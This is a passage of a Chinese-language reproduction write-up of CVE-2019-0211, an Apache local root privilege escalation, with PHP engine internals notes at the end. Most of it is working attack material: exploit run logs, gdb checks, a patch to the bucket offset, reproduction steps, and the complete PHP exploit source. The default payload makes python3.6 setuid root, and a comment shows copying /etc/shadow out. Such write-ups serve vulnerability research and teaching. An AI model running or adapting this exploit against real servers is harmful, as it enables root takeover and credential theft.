        $this->abc[$l + 0x20] = $s_bucket_index[0];
        $this->abc[$l + 0x21] = $s_bucket_index[1];
        $this->abc[$l + 0x22] = $s_bucket_index[2];
        $this->abc[$l + 0x23] = $s_bucket_index[3];
        o('  Changed bucket value to ' . $bucket_index);
        $min = $spray_min - $size_prefork_child_bucket * $bucket_index;
        $max = $spray_max - $size_prefork_child_bucket * $bucket_index;
        o('  Ranges: 0x' . dechex($min) . ' - 0x' . dechex($max));
        # This bucket range is covered, go to the next one
        $bucket_index += $spray_nb_buckets;
    }
}

4.等待Apache graceful restart
效果演示:

root# ps -aux|grep apache
root      30073  ... /usr/sbin/apache2 -k start
www-data  30074  ... /usr/sbin/apache2 -k start


$ curl localhost/carpediem.php
CARPE (DIEM) ~ CVE-2019-0211


PID: 30074
Fetching addresses
  zend_object_std_dtor: 0x7f2843e64fb0
  system: 0x7f2846d51440
  libaprX: 0x7f2847312000-0x0x7f2847345000
  libaprR: 0x7f2847545000-0x0x7f2847546000
  shm: 0x7f2847ae3000-0x0x7f2847af7000
  apache: 0x7f2847af7000-0x0x7f2847c0b000


Obtaining apache workers PIDs
  Found apache worker: 30074
Got 1 PIDs.


Triggering UAF
  Creating room and filling empty spaces
  Allocating $abc and $p
  Unsetting both variables and setting $protector
  Creating DateInterval object
UAF successful.


Address of $abc: 0x7f283f29a4e8


Looking for all_buckets in memory
  [&mutex]: 0x7f2847b501e0
    [mutex]: 0x7f2847b50330
      [meth]: 0x7f2847545b60
        [*]: 0x7f284732d0d0
        [*]: 0x7f284732d070
        [*]: 0x7f284732d010
        [*]: 0x7f284732cfb0
        [*]: 0x7f284732cb30
        [*]: 0x7f284732c810
        [*]: 0x7f284732cf40
all_buckets = 0x7f2847b501d0


Computing potential bucket indexes and addresses
Placing payload at address 0x7f2847ae6908
Spraying pointer
  Address: 0x7f2847ae69d8
  From: 0x7f2847ae6a10
  To: 0x7f2847af7000
  Size: 0x105f0
  Covered: 0x105f0
  Apache: 0x114000


Iterating in SHM to find PIDs...
Got PID: 30074
  PID matches
  Changed bucket value to -18002
  Ranges: 0x7f2847b501c0 - 0x7f2847b607b0


EXPLOIT SUCCESSFUL.
Await 6:25AM.
root# gdb attach 30073
gdb-peda$ p all_buckets 
$1 = (prefork_child_bucket *) 0x7f2847b501d0
# 这里看的exp找的的all_bucket地址是没有问题的

gdb-peda$ p ap_scoreboard_image->parent[0]
$2 = {
  pid = 0x757a, 
  generation = 0x0, 
  quiescing = 0x0, 
  not_accepting = 0x0, 
  connections = 0x0, 
  write_completion = 0x0, 
  lingering_close = 0x0, 
  keep_alive = 0x0, 
  suspended = 0x0, 
  bucket = 0xffffb9ae
}
# pid 0x757a=30074 也是执行exp的worker进程pid
# bucket 也已经成功修改为-18002

gdb-peda$ p $index = ap_scoreboard_image->parent[0]->bucket
$3 = 0xffffb9ae
gdb-peda$ p all_buckets[$index]
$4 = {
  pod = 0x7f2847ae69d8, 
  listeners = 0x7f2847ae69d8, 
  mutex = 0x7f2847ae69d8
}
# 这里看到一旦all_bucket[$index]命中堆喷射的区域,就会读取伪造的prefork_child_bucket,它的三个指针都会被设置为properties的地址

gdb-peda$ detach

引用一张图,很好的描述了利用成功时的内存布局:

其他说明

1.漏洞利用的关键点
SHM内存区域位于php内存下方(高地址),才能通过PHP代码读写SHM内存
all_buckets位于php内存下方,才能通过PHP代码找的all_buckets地址
apache greaceful 重启后,all_buckets的地址会产生偏移

2.all_buckets地址在apache greaceful restart后会改变,作者的环境只有几个字节的偏差,但是我的测试环境偏移很大:

# 几次apache graceful restart前后的偏移情况
>>> hex(0x7f02d6bd11d0 - 0x7f02d6bb71d0)
'0x1a000'
>>> hex(0x7fbaf3eff1d0 - 0x7fbaf3ee51d0)
'0x1a000'
>>> hex(0x7f81814a31d0 - 0x7f81814891d0)
'0x1a000'
>>>

如果要成功利用需要修改exp:

$bucket_index_middle = (int) (
            - ($all_buckets + 0x1a000 - $spray_middle) /
            $size_prefork_child_bucket
        );

另外,测偏移的方法:

# shell 1
$ ps -aux|grep apache
root      25990  0.0  1.8 320264 36456 ?        Ss   20:48   0:00 /usr/sbin/apache2 -k start
...
$ sudo gdb attach 25990
p all_buckets
b make_child
c

#shell 2
sudo apachectl graceful

# shell 1
c
p all_buckets

3.作者exp中UAF的这两句话在我的环境没有效果,复现exp中删掉了

if(version_compare(PHP_VERSION, '7.2') >= 0)
    $room[] = "!$_protector";

4.测试环境是Ubuntu18 ,自带的python3.6,默认的cmd改了一下

    $bucket = isset($_REQUEST['cmd']) ?
        $_REQUEST['cmd'] :
        "chmod +s /usr/bin/python3.6";

复现

Step1 – 下载exp,拷贝到web目录

$ cp exp.php /var/www/html/

Step2 – 执行exp

$ curl localhost/exp.php
CARPE (DIEM) ~ CVE-2019-0211

PID: 27115
Fetching addresses
  zend_object_std_dtor: 0x7f2ff4939fb0
  system: 0x7f2ff7826440
  libaprX: 0x7f2ff7de7000-0x0x7f2ff7e1a000
  libaprR: 0x7f2ff801a000-0x0x7f2ff801b000
  shm: 0x7f2ff85b8000-0x0x7f2ff85cc000
  apache: 0x7f2ff85fd000-0x0x7f2ff86e0000

Obtaining apache workers PIDs
  Found apache worker: 27113
  Found apache worker: 27114
  Found apache worker: 27115
  Found apache worker: 27116
  Found apache worker: 27117
Got 5 PIDs.

Triggering UAF
  Creating room and filling empty spaces
  Allocating $abc and $p
  Unsetting both variables and setting $protector
  Creating DateInterval object
UAF successful.

Address of $abc: 0x7f2fefe9a4e8

Looking for all_buckets in memory
  [&mutex]: 0x7f2ff863f1e0
    [mutex]: 0x7f2ff863f330
      [meth]: 0x7f2ff801ab60
        [*]: 0x7f2ff7e020d0
        [*]: 0x7f2ff7e02070
        [*]: 0x7f2ff7e02010
        [*]: 0x7f2ff7e01fb0
        [*]: 0x7f2ff7e01b30
        [*]: 0x7f2ff7e01810
        [*]: 0x7f2ff7e01f40
all_buckets = 0x7f2ff863f1d0

Computing potential bucket indexes and addresses
Placing payload at address 0x7f2ff85bc148
Spraying pointer
  Address: 0x7f2ff85bc218
  From: 0x7f2ff85bc250
  To: 0x7f2ff85cc000
  Size: 0xfdb0
  Covered: 0x4f470
  Apache: 0xe3000

Iterating in SHM to find PIDs...
Got PID: 27113
  PID matches
  Changed bucket value to -32201
  Ranges: 0x7f2ff8678d28 - 0x7f2ff8688ad8
Got PID: 27114
  PID matches
  Changed bucket value to -29495
  Ranges: 0x7f2ff8668f78 - 0x7f2ff8678d28
Got PID: 27115
  PID matches
  Changed bucket value to -26789
  Ranges: 0x7f2ff86591c8 - 0x7f2ff8668f78
Got PID: 27116
  PID matches
  Changed bucket value to -24083
  Ranges: 0x7f2ff8649418 - 0x7f2ff86591c8
Got PID: 27117
  PID matches
  Changed bucket value to -21377
  Ranges: 0x7f2ff8639668 - 0x7f2ff8649418

EXPLOIT SUCCESSFUL.
Await 6:25AM.

Step3 – 手动重启Apache(模拟logrotate的每日自动重启)

$ sudo apachectl graceful

Step4 – 查看利用效果

$ ls -l /usr/bin/python3.6
-rwsr-sr-x 1 root root 4526456 Nov  7  2019 /usr/bin/python3.6

 

5. 复现环境EXP

<?php
# CARPE (DIEM): CVE-2019-0211 Apache Root Privilege Escalation
# Charles Fol
# @cfreal_
# 2019-04-08
#
# INFOS
#
# https://cfreal.github.io/carpe-diem-cve-2019-0211-apache-local-root.html
#
# USAGE
#
# 1. Upload exploit to Apache HTTP server
# 2. Send request to page
# 3. Await 6:25AM for logrotate to restart Apache
# 4. python3.5 is now suid 0
#
# You can change the command that is ran as root using the cmd HTTP
# parameter (GET/POST).
# Example: curl http://localhost/carpediem.php?cmd=cp+/etc/shadow+/tmp/
#
# SUCCESS RATE
#
# Number of successful and failed exploitations relative to of the number
# of MPM workers (i.e. Apache subprocesses). YMMV.
#
# W  --% S   F
#  5 87% 177 26 (default)
#  8 89%  60  8
# 10 95%  70  4
#
# More workers, higher success rate.
# By default (5 workers), 87% success rate. With huge HTTPds, close to 100%.
# Generally, failure is due to all_buckets being relocated too far from its
# original address.
#
# TESTED ON
#
# - Apache/2.4.25
# - PHP 7.2.12
# - Debian GNU/Linux 9.6
#
# TESTING
#
# $ curl http://localhost/cfreal-carpediem.php
# $ sudo /usr/sbin/logrotate /etc/logrotate.conf --force
# $ ls -alh /usr/bin/python3.5
# -rwsr-sr-x 2 root root 4.6M Sep 27  2018 /usr/bin/python3.5
#
# There are no hardcoded addresses.
# - Addresses read through /proc/self/mem
# - Offsets read through ELF parsing
#
# As usual, there are tons of comments.
#




o('CARPE (DIEM) ~ CVE-2019-0211');
o('');


error_reporting(E_ALL);




# Starts the exploit by triggering the UAF.
function real()
{
    global $y;
    $y = [new Z()];
    json_encode([0 => &$y]);
}


# In order to read/write what comes after in memory, we need to UAF a string so
# that we can control its size and make in-place edition.
# An easy way to do that is to replace the string by a timelib_rel_time
# structure of which the first bytes can be reached by the (y, m, d, h, i, s)
# properties of the DateInterval object.
#
# Steps:
# - Create a base object (Z)
# - Add string property (abc) so that sizeof(abc) = sizeof(timelib_rel_time)
# - Create DateInterval object ($place) meant to be unset and filled by another
# - Trigger the UAF by unsetting $y[0], which is still reachable using $this
# - Unset $place: at this point, if we create a new DateInterval object, it will
#   replace $place in memory
# - Create a string ($holder) that fills $place's timelib_rel_time structure
# - Allocate a new DateInterval object: its timelib_rel_time structure will
#   end up in place of abc
# - Now we can control $this->abc's zend_string structure entirely using
#   y, m, d etc.
# - Increase abc's size so that we can read/write memory that comes after it,
#   especially the shared memory block
# - Find out all_buckets' position by finding a memory region that matches the
#   mutex->meth structure
# - Compute the bucket index required to reach the SHM and get an arbitrary
#   function call
# - Scan ap_scoreboard_image->parent[] to find workers' PID and replace the
#   bucket
class Z implements JsonSerializable
{
    public function jsonSerialize()
    {
        global $y, $addresses, $workers_pids;


        #
        # Setup memory
        #
        o('Triggering UAF');
        o('  Creating room and filling empty spaces');


        # Fill empty blocks to make sure our allocations will be contiguous
        # I: Since a lot of allocations/deallocations happen before the script
        # is ran, two variables instanciated at the same time might not be
        # contiguous: this can be a problem for a lot of reasons.
        # To avoid this, we instanciate several DateInterval objects. These
        # objects will fill a lot of potentially non-contiguous memory blocks,
        # ensuring we get "fresh memory" in upcoming allocations.
        $contiguous = [];
        for($i=0;$i<10;$i++)
            $contiguous[] = new DateInterval('PT1S');


        # Create some space for our UAF blocks not to get overwritten
        # I: A PHP object is a combination of a lot of structures, such as
        # zval, zend_object, zend_object_handlers, zend_string, etc., which are
        # all allocated, and freed when the object is destroyed.
        # After the UAF is triggered on the object, all the structures that are
        # used to represent it will be marked as free.
        # If we create other variables afterwards, those variables might be
        # allocated in the object's previous memory regions, which might pose
        # problems for the rest of the exploitation.
        # To avoid this, we allocate a lot of objects before the UAF, and free
        # them afterwards. Since PHP's heap is LIFO, when we create other vars,
        # they will take the place of those objects instead of the object we
        # are triggering the UAF on. This means our object is "shielded" and
        # we don't have to worry about breaking it.
        $room = [];
        for($i=0;$i<10;$i++)
            $room[] = new Z();


        # Build string meant to fill old DateInterval's timelib_rel_time
        # I: ptr2str's name is unintuitive here: we just want to allocate a
        # zend_string of size 78.
        $_protector = ptr2str(0, 78);


        o('  Allocating $abc and $p');


        # Create ABC
        # I: This is the variable we will use to R/W memory afterwards.
        # After we free the Z object, we'll make sure abc is overwritten by a
        # timelib_rel_time structure under our control. The first 8*8 = 64 bytes
        # of this structure can be modified easily, meaning we can change the
        # size of abc. This will allow us to read/write memory after abc.
        $this->abc = ptr2str(0, 79);


        # Create $p meant to protect $this's blocks
        # I: Right after we trigger the UAF, we will unset $p.
        # This means that the timelib_rel_time structure (TRT) of this object
        # will be freed. We will then allocate a string ($protector) of the same
        # size as TRT. Since PHP's heap is LIFO, the string will take the place
        # of the now-freed TRT in memory.
        # Then, we create a new DateInterval object ($x). From the same
        # assumption, every structure constituting this new object will take the
        # place of the previous structure. Nevertheless, since TRT's memory
        # block has already been replaced by $protector, the new TRT will be put
        # in the next free blocks of the same size, which happens to be $abc
        # (remember, |abc| == |timelib_rel_time|).
        # We now have the following situation: $x is a DateInterval object whose
        # internal TRT structure has the same address as $abc's zend_string.
        $p = new DateInterval('PT1S');


        #
        # Trigger UAF
        #

        o('  Unsetting both variables and setting $protector');
        # UAF here, $this is usable despite being freed
        unset($y[0]);
        # Protect $this's freed blocks
        unset($p);


        # Protect $p's timelib_rel_time structure
        $protector = ".$_protector";
        # !!! This is only required for apache
        # Got no idea as to why there is an extra deallocation (?)


        o('  Creating DateInterval object');
        # After this line:
        # &((php_interval_obj) x).timelib_rel_time == ((zval) abc).value.str
        # We can control the structure of $this->abc and therefore read/write
        # anything that comes after it in memory by changing its size and
        # making in-place edits using $this->abc[$position] = $char
        $x = new DateInterval('PT1S');
        # zend_string.refcount = 0
        # It will get incremented at some point, and if it is > 1,
        # zend_assign_to_string_offset() will try to duplicate it before making
        # the in-place replacement
        $x->y = 0x00;
        # zend_string.len
        $x->d = 0x100;
        # zend_string.val[0-4]
        $x->h = 0x13121110;


        # Verify UAF was successful
        # We modified stuff via $x; they should be visible by $this->abc, since
        # they are at the same memory location.
        if(!(
            strlen($this->abc) === $x->d &&
            $this->abc[0] == "x10" &&
            $this->abc[1] == "x11" &&
            $this->abc[2] == "x12" &&
            $this->abc[3] == "x13"
        ))
        {
            o('UAF failed, exiting.');
            exit();
        }
        o('UAF successful.');
        o('');


        # Give us some room
        # I: As indicated before, just unset a lot of stuff so that next allocs
        # don't break our fragile UAFd structure.
        unset($room);


        #
        # Setup the R/W primitive
        #


        # We control $abc's internal zend_string structure, therefore we can R/W
        # the shared memory block (SHM), but for that we need to know the
        # position of $abc in memory
        # I: We know the absolute position of the SHM, so we need to need abc's
        # as well, otherwise we cannot compute the offset


        # Assuming the allocation was contiguous, memory looks like this, with
        # 0x70-sized fastbins:
        #   [zend_string:abc]
        #   [zend_string:protector]
        #   [FREE#1]
        #   [FREE#2]
        # Therefore, the address of the 2nd free block is in the first 8 bytes
        # of the first block: 0x70 * 2 - 24
        $address = str2ptr($this->abc, 0x70 * 2 - 24);
        # The address we got points to FREE#2, hence we're |block| * 3 higher in
        # memory
        $address = $address - 0x70 * 3;
        # The beginning of the string is 24 bytes after its origin
        $address = $address + 24;
        o('Address of $abc: 0x' . dechex($address));
        o('');


        # Compute the size required for our string to include the whole SHM and
        # apache's memory region
        $distance = 
            max($addresses['apache'][1], $addresses['shm'][1]) -
            $address
        ;
        $x->d = $distance;


        # We can now read/write in the whole SHM and apache's memory region.


        #
        # Find all_buckets in memory
        #


        # We are looking for a structure s.t.
        # |all_buckets, mutex| = 0x10
        # |mutex, meth| = 0x8
        # all_buckets is in apache's memory region
        # mutex is in apache's memory region
        # meth is in libaprR's memory region
        # meth's function pointers are in libaprX's memory region
        o('Looking for all_buckets in memory');
        $all_buckets = 0;


        for(
            $i = $addresses['apache'][0] + 0x10;
            $i < $addresses['apache'][1] - 0x08;
            $i += 8
        )
        {
            # mutex
            $mutex = $pointer = str2ptr($this->abc, $i - $address);
            if(!in($pointer, $addresses['apache']))
                continue;




            # meth
            $meth = $pointer = str2ptr($this->abc, $pointer + 0x8 - $address);
            if(!in($pointer, $addresses['libaprR']))
                continue;


            o('  [&mutex]: 0x' . dechex($i));
            o('    [mutex]: 0x' . dechex($mutex));
            o('      [meth]: 0x' . dechex($meth));




            # meth->*
            # flags
            if(str2ptr($this->abc, $pointer - $address) != 0)
                continue;
            # methods
            for($j=0;$j<7;$j++)
            {
                $m = str2ptr($this->abc, $pointer + 0x8 + $j * 8 - $address);
                if(!in($m, $addresses['libaprX']))
                    continue 2;
                o('        [*]: 0x' . dechex($m));
            }


            $all_buckets = $i - 0x10;
            o('all_buckets = 0x' . dechex($all_buckets));
            break;
        }


        if(!$all_buckets)
        {
            o('Unable to find all_buckets');
            exit();
        }


        o('');


        # The address of all_buckets will change when apache is gracefully
        # restarted. This is a problem because we need to know all_buckets's
        # address in order to make all_buckets[some_index] point to a memory
        # region we control.


        #
        # Compute potential bucket indexes and their addresses
        #


        o('Computing potential bucket indexes and addresses');


        # Since we have sizeof($workers_pid) MPM workers, we can fill the rest
        # of the ap_score_image->servers items, so 256 - sizeof($workers_pids),
        # with data we like. We keep the one at the top to store our payload.
        # The rest is sprayed with the address of our payload.


        $size_prefork_child_bucket = 24;
        $size_worker_score = 264;
        # I get strange errors if I use every "free" item, so I leave twice as
        # many items free. I'm guessing upon startup some
        $spray_size = $size_worker_score * (256 - sizeof($workers_pids) * 2);
        $spray_max = $addresses['shm'][1];
        $spray_min = $spray_max - $spray_size;


        $spray_middle = (int) (($spray_min + $spray_max) / 2);
        $bucket_index_middle = (int) (
            - ($all_buckets + 0x1a000 - $spray_middle) /
            $size_prefork_child_bucket
        );


        //o(dechex($bucket_index_middle));
        // o(dechex($bucket_index_middle) . " " . dechex($all_buckets) . " " . dechex($spray_middle) . " " . dechex($size_prefork_child_bucket));


        #
        # Build payload
        #


        # A worker_score structure was kept empty to put our payload in
        $payload_start = $spray_min - $size_worker_score;


        $z = ptr2str(0);


        # Payload maxsize 264 - 112 = 152
        # Offset 8 cannot be 0, but other than this you can type whatever
        # command you want
        $bucket = isset($_REQUEST['cmd']) ?
            $_REQUEST['cmd'] :
            "chmod +s /usr/bin/python3.6";


        if(strlen($bucket) > $size_worker_score - 112)
        {
            o(
                'Payload size is bigger than available space (' .
                ($size_worker_score - 112) .
                '), exiting.'
            );
            exit();
        }
        # Align
        $bucket = str_pad($bucket, $size_worker_score - 112, "x00");


        # apr_proc_mutex_unix_lock_methods_t
        $meth = 
            $z .
            $z .
            $z .
            $z .
            $z .
            $z .
            # child_init
            ptr2str($addresses['zend_object_std_dtor'])
        ;


        # The second pointer points to meth, and is used before reaching the
        # arbitrary function call
        # The third one and the last one are both used by the function call
        # zend_object_std_dtor(object) => ... => system(&arData[0]->val)
        $properties = 
            # refcount
            ptr2str(1) .
            # u-nTableMask meth
            ptr2str($payload_start + strlen($bucket)) .
            # Bucket arData
            ptr2str($payload_start) .
            # uint32_t nNumUsed;
            ptr2str(1, 4) .
            # uint32_t nNumOfElements;
            ptr2str(0, 4) .
            # uint32_t nTableSize
            ptr2str(0, 4) .
            # uint32_t nInternalPointer
            ptr2str(0, 4) .
            # zend_long nNextFreeElement
            $z .
            # dtor_func_t pDestructor
            ptr2str($addresses['system'])
        ;


        $payload =
            $bucket .
            $meth .
            $properties
        ;


        # Write the payload


        o('Placing payload at address 0x' . dechex($payload_start));


        $p = $payload_start - $address;
        for(
            $i = 0;
            $i < strlen($payload);
            $i++
        )
        {
            $this->abc[$p+$i] = $payload[$i];
        }


        # Fill the spray area with a pointer to properties

        $properties_address = $payload_start + strlen($bucket) + strlen($meth);
        o('Spraying pointer');
        o('  Address: 0x' . dechex($properties_address));
        o('  From: 0x' . dechex($spray_min));
        o('  To: 0x' . dechex($spray_max));
        o('  Size: 0x' . dechex($spray_size));
        o('  Covered: 0x' . dechex($spray_size * count($workers_pids)));
        o('  Apache: 0x' . dechex(
            $addresses['apache'][1] -
            $addresses['apache'][0]
        ));


        $s_properties_address = ptr2str($properties_address);


        for(
            $i = $spray_min;
            $i < $spray_max;
            $i++
        )
        {
            $this->abc[$i - $address] = $s_properties_address[$i % 8];
        }
        o('');


        # Find workers PID in the SHM: it indicates the beginning of their
        # process_score structure. We can then change process_score.bucket to
        # the index we computed. When apache reboots, it will use
        # all_buckets[ap_scoreboard_image->parent[i]->bucket]->mutex
        # which means we control the whole apr_proc_mutex_t structure.
        # This structure contains pointers to multiple functions, especially
        # mutex->meth->child_init(), which will be called before privileges
        # are dropped.
        # We do this for every worker PID, incrementing the bucket index so that
        # we cover a bigger range.

        o('Iterating in SHM to find PIDs...');


        # Number of bucket indexes covered by our spray
        $spray_nb_buckets = (int) ($spray_size / $size_prefork_child_bucket);
        # Number of bucket indexes covered by our spray and the PS structures
        $total_nb_buckets = $spray_nb_buckets * count($workers_pids);
        # First bucket index to handle
        $bucket_index = $bucket_index_middle - (int) ($total_nb_buckets / 2);
        // $bucket_index = $bucket_index_middle;


        # Iterate over every process_score structure until we find every PID or
        # we reach the end of the SHM
        for(
            $p = $addresses['shm'][0] + 0x20;
            $p < $addresses['shm'][1] && count($workers_pids) > 0;
            $p += 0x24
        )
        {
            $l = $p - $address;
            $current_pid = str2ptr($this->abc, $l, 4);
            o('Got PID: ' . $current_pid);
            # The PID matches one of the workers
            if(in_array($current_pid, $workers_pids))
            {
                unset($workers_pids[$current_pid]);
                o('  PID matches');
                # Update bucket address
                $s_bucket_index = pack('l', $bucket_index);
                $this->abc[$l + 0x20] = $s_bucket_index[0];
                $this->abc[$l + 0x21] = $s_bucket_index[1];
                $this->abc[$l + 0x22] = $s_bucket_index[2];
                $this->abc[$l + 0x23] = $s_bucket_index[3];
                o('  Changed bucket value to ' . $bucket_index);
                $min = $spray_min - $size_prefork_child_bucket * $bucket_index;
                $max = $spray_max - $size_prefork_child_bucket * $bucket_index;
                o('  Ranges: 0x' . dechex($min) . ' - 0x' . dechex($max));
                # This bucket range is covered, go to the next one
                $bucket_index += $spray_nb_buckets;
            }
        }


        if(count($workers_pids) > 0)
        {
            o(
                'Unable to find PIDs ' .
                implode(', ', $workers_pids) .
                ' in SHM, exiting.'
            );
            exit();
        }


        o('');
        o('EXPLOIT SUCCESSFUL.');
        o('Await 6:25AM.');

        return 0;
    }
}


function o($msg)
{
    # No concatenation -> no string allocation
    print($msg);
    print("n");
}


function ptr2str($ptr, $m=8)
{
    $out = "";
    for ($i=0; $i<$m; $i++)
    {
        $out .= chr($ptr & 0xff);
        $ptr >>= 8;
    }
    return $out;
}


function str2ptr(&$str, $p, $s=8)
{
    $address = 0;
    for($j=$s-1;$j>=0;$j--)
    {
        $address <<= 8;
        $address |= ord($str[$p+$j]);
    }
    return $address;
}


function in($i, $range)
{
    return $i >= $range[0] && $i < $range[1];
}


/**
 * Finds the offset of a symbol in a file.
 */
function find_symbol($file, $symbol)
{
    $elf = file_get_contents($file);
    $e_shoff = str2ptr($elf, 0x28);
    $e_shentsize = str2ptr($elf, 0x3a, 2);
    $e_shnum = str2ptr($elf, 0x3c, 2);


    $dynsym_off = 0;
    $dynsym_sz = 0;
    $dynstr_off = 0;


    for($i=0;$i<$e_shnum;$i++)
    {
        $offset = $e_shoff + $i * $e_shentsize;
        $sh_type = str2ptr($elf, $offset + 0x04, 4);


        $SHT_DYNSYM = 11;
        $SHT_SYMTAB = 2;
        $SHT_STRTAB = 3;


        switch($sh_type)
        {
            case $SHT_DYNSYM:
                $dynsym_off = str2ptr($elf, $offset + 0x18, 8);
                $dynsym_sz = str2ptr($elf, $offset + 0x20, 8);
                break;
            case $SHT_STRTAB:
            case $SHT_SYMTAB:
                if(!$dynstr_off)
                    $dynstr_off = str2ptr($elf, $offset + 0x18, 8);
                break;
        }


    }


    if(!($dynsym_off && $dynsym_sz && $dynstr_off))
        exit('.');


    $sizeof_Elf64_Sym = 0x18;


    for($i=0;$i * $sizeof_Elf64_Sym < $dynsym_sz;$i++)
    {
        $offset = $dynsym_off + $i * $sizeof_Elf64_Sym;
        $st_name = str2ptr($elf, $offset, 4);

        if(!$st_name)
            continue;

        $offset_string = $dynstr_off + $st_name;
        $end = strpos($elf, "x00", $offset_string) - $offset_string;
        $string = substr($elf, $offset_string, $end);


        if($string == $symbol)
        {
            $st_value = str2ptr($elf, $offset + 0x8, 8);
            return $st_value;
        }
    }


    die('Unable to find symbol ' . $symbol);
}


# Obtains the addresses of the shared memory block and some functions through 
# /proc/self/maps
# This is hacky as hell.
function get_all_addresses()
{
    $addresses = [];
    $data = file_get_contents('/proc/self/maps');
    $follows_shm = false;


    foreach(explode("n", $data) as $line)
    {
        if(!isset($addresses['shm']) && strpos($line, '/dev/zero'))
        {
            $line = explode(' ', $line)[0];
            $bounds = array_map('hexdec', explode('-', $line));
        $msize = $bounds[1] - $bounds[0];
            if ($msize >= 0x10000 && $msize <= 0x20000)
            {
                $addresses['shm'] = $bounds;
                $follows_shm = true;
            }
        }
        if(
            preg_match('#(/[^s]+libc-[0-9.]+.so[^s]*)#', $line, $matches) &&
            strpos($line, 'r-xp')
        )
        {
            $offset = find_symbol($matches[1], 'system');
            $line = explode(' ', $line)[0];
            $line = hexdec(explode('-', $line)[0]);
            $addresses['system'] = $line + $offset;
        }
        if(
            strpos($line, 'libapr-1.so') &&
            strpos($line, 'r-xp')
        )
        {
            $line = explode(' ', $line)[0];
            $bounds = array_map('hexdec', explode('-', $line));
            $addresses['libaprX'] = $bounds;
        }
        if(
            strpos($line, 'libapr-1.so') &&
            strpos($line, 'r--p')
        )
        {
            $line = explode(' ', $line)[0];
            $bounds = array_map('hexdec', explode('-', $line));
            $addresses['libaprR'] = $bounds;
        }
        # Apache's memory block is between the SHM and ld.so
        # Sometimes some rwx region gets mapped; all_buckets cannot be in there
        # but we include it anyways for the sake of simplicity
        if(
            (
                strpos($line, 'rw-p') ||
                strpos($line, 'rwxp')
            ) &&
            $follows_shm
        )
        {
            if(strpos($line, '/lib'))
            {
                $follows_shm = false;
                continue;
            }
            $line = explode(' ', $line)[0];
            $bounds = array_map('hexdec', explode('-', $line));
            if(!array_key_exists('apache', $addresses))
                $addresses['apache'] = $bounds;
            else if($addresses['apache'][1] == $bounds[0])
                $addresses['apache'][1] = $bounds[1];
            else
                $follows_shm = false;
        }
        if(
            preg_match('#(/[^s]+libphp7[0-9.]*.so[^s]*)#', $line, $matches) &&
            strpos($line, 'r-xp')
        )
        {
            $offset = find_symbol($matches[1], 'zend_object_std_dtor');
            $line = explode(' ', $line)[0];
            $line = hexdec(explode('-', $line)[0]);
            $addresses['zend_object_std_dtor'] = $line + $offset;
        }
    }


    $expected = [
        'shm', 'system', 'libaprR', 'libaprX', 'apache', 'zend_object_std_dtor'
    ];
    $missing = array_diff($expected, array_keys($addresses));


    if($missing)
    {
        o(
            'The following addresses were not determined by parsing ' .
            '/proc/self/maps: ' . implode(', ', $missing)
        );
        exit(0);
    }




    o('PID: ' . getmypid());
    o('Fetching addresses');


    foreach($addresses as $k => $a)
    {
        if(!is_array($a))
            $a = [$a];
        o('  ' . $k . ': ' . implode('-0x', array_map(function($z) {
                return '0x' . dechex($z);
        }, $a)));
    }
    o('');


    return $addresses;
}


# Extracts PIDs of apache workers using /proc/*/cmdline and /proc/*/status,
# matching the cmdline and the UID
function get_workers_pids()
{
    o('Obtaining apache workers PIDs');
    $pids = [];
    $cmd = file_get_contents('/proc/self/cmdline');
    $processes = glob('/proc/*');
    foreach($processes as $process)
    {
        if(!preg_match('#^/proc/([0-9]+)$#', $process, $match))
            continue;
        $pid = (int) $match[1];
        if(
            !is_readable($process . '/cmdline') ||
            !is_readable($process . '/status')
        )
            continue;
        if($cmd !== file_get_contents($process . '/cmdline'))
            continue;


        $status = file_get_contents($process . '/status');
        foreach(explode("n", $status) as $line)
        {
            if(
                strpos($line, 'Uid:') === 0 &&
                preg_match('#b' . posix_getuid() . 'b#', $line)
            )
            {
                o('  Found apache worker: ' . $pid);
                $pids[$pid] = $pid;
                break;
            }


        }
    }

    o('Got ' . sizeof($pids) . ' PIDs.');
    o('');


    return $pids;
}


$addresses = get_all_addresses();
$workers_pids = get_workers_pids();
real();
?>

 

6. 背景知识

php内核相关: https://www.kancloud.cn/nickbai/php7/363255

函数

自定义函数执行原理
https://www.kancloud.cn/nickbai/php7/363282

execute_ex处理php脚本中函数的执行,它将php语言解释成OPCODE指令。
其中无返回值函数的解释和执行在ZEND_DO_UCALL_SPEC_RETVAL_UNUSED_HANDLER中完成。
通过VM_ENTER宏以此调用opcode对应的handler处理指令。

调用栈:

#0  execute_ex
#1  0x0000555555ddd43d in zend_execute 
#2  0x0000555555c1b919 in zend_execute_scripts 
#3  0x0000555555b60723 in php_execute_script 
#4  0x0000555555de0cf8 in do_cli 
#5  0x0000555555de20bf in main 
#6  0x00007ffff6a38b97 in __libc_start_main 
#7  0x00005555556896aa in _start ()

execute_ex函数:

ZEND_API void execute_ex(zend_execute_data *ex)
{
    while (1) {
...
            HYBRID_CASE(ZEND_DO_UCALL_SPEC_RETVAL_UNUSED):
                ZEND_DO_UCALL_SPEC_RETVAL_UNUSED_HANDLER(ZEND_OPCODE_HANDLER_ARGS_PASSTHRU);
                HYBRID_BREAK();
...
}

ZEND_DO_UCALL_SPEC_RETVAL_UNUSED_HANDLER函数:

static ZEND_VM_HOT ZEND_OPCODE_HANDLER_RET ZEND_FASTCALL ZEND_DO_UCALL_SPEC_RETVAL_UNUSED_HANDLER(ZEND_OPCODE_HANDLER_ARGS)
{
    USE_OPLINE
    zend_execute_data *call = EX(call);
    zend_function *fbc = call->func;
    zval *ret;
...
    i_init_func_execute_data(call, &fbc->op_array, ret);
    ZEND_VM_ENTER();
}

ZEND_VM_ENTER宏:

# define ZEND_VM_ENTER()           execute_data = EG(current_execute_data); LOAD_OPLINE(); ZEND_VM_INTERRUPT_CHECK(); ZEND_VM_CONTINUE()


#  define ZEND_VM_CONTINUE()     ((opcode_handler_t)OPLINE->handler)(ZEND_OPCODE_HANDLER_ARGS_PASSTHRU); return

zend_function结构体:
保存了php函数名称,参数,opcode数组op_array

union _zend_function {
    zend_uchar type;    
    uint32_t   quick_arg_flags;

    struct {
...
        zend_string *function_name;
...
        uint32_t num_args;
        uint32_t required_num_args;
...
    } common;


    zend_op_array op_array;
    zend_internal_function internal_function;
};

zend_op_array和op_code:

struct _zend_op_array {
    /* Common elements */
    zend_uchar type;
...
    zend_string *function_name;
...
    zend_op *opcodes;
...
    HashTable *static_variables;
}

struct _zend_op {
    const void *handler;
...
    zend_uchar opcode;
...
};

调试:
这样下断点可以观察到即将执行的自定义函数

gdb
file php
b main
r uaf.php
b i_init_func_execute_data
c
si
